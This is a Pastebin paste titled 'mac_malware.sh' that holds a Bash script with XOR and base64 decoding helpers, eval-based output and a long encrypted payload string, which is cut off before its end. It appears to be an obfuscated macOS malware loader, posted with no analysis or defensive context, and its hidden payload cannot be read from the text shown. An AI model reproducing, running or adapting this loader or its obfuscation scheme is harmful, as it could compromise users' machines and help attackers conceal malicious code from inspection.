Advertisement
opexxx

mac_malware.sh

Jan 11th, 2020
394
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Bash 4.47 KB | None | 0 0
  1. #!/bin/bash
  2. _l() {
  3.     _i=0;_x=0;
  4.     for ((_i=0; _i<${#1}; _i+=2)) do
  5.         __return_var="$__return_var$(printf "%02x" $(( ((0x${1:$_i:2})) ^ ((0x${2:$_x:2})) )) )"
  6.         if (( (_x+=2)>=${#2} )); then ((_x=0)); fi
  7.     done
  8.     if [[ "$3" ]]; then eval "$3='$__return_var'"; else echo -n "$__return_var"; fi
  9. }
  10.  
  11. _m() {
  12.     _v=$(base64 --decode <(printf "$1"));_k=$(xxd -pu <(printf "$2"));
  13.     __return_var="$(xxd -r -p <(_l "$_v" "$_k"))"
  14.     if [[ "$3" ]]; then eval "$3='$__return_var'"; else echo -n "$__return_var"; fi
  15. }
  16. _y="8791826324"
  17. _t="MWIxNjE2NTM1MTVjMTk1MTUzNDc1MDNkNWY0NDU2NTE0MjVhNWQ1YTE4NTA1YzQ1NmU1ZDVhNDY1ZjUxNzY1NjU0NTQxMDFiMTY0ODM4MTQxODE3MTk1NDQwNTE1YTQ2NTY1MTVjNzM1MDQzNGIwZjFlMTQxZDYyNTc1YjRjNWM1ZDQxMTk2MzQwNTE1YTU4NTY0NTE3MTUxNjE0MWQ2MjU3NWI0YzVjNWQ0MTE5N2U1MzU3NTE1OTRkNWU0YjVhMTY3Yjc2MWIxZjE3MWUxZTZlNWQ1YTQ2NWY1MTRiMTg2YjU0NWI1ZDQwNTY0MDRkMTcxMDEwM2IzMjEyMTYxMzEyNTI1NzQ1MTk0NzU3NWU0MzVlNTc3MDUxNDUxOTU4NTYxMjE5NjU1ZDU4NGQ1YTVjNDIxNzE4MTkzOTEyMTQxODE3NWQ1ZTMyMTIxNjEzMTIxNDE4MTcxOTQyNTM1YjQ2MGUwMjNlMTgxNzE5MTExODEyMTYxMzU0NWI0YTE3NWM0OTViNWU0MzU3NTc1MDdjNWU0YjExN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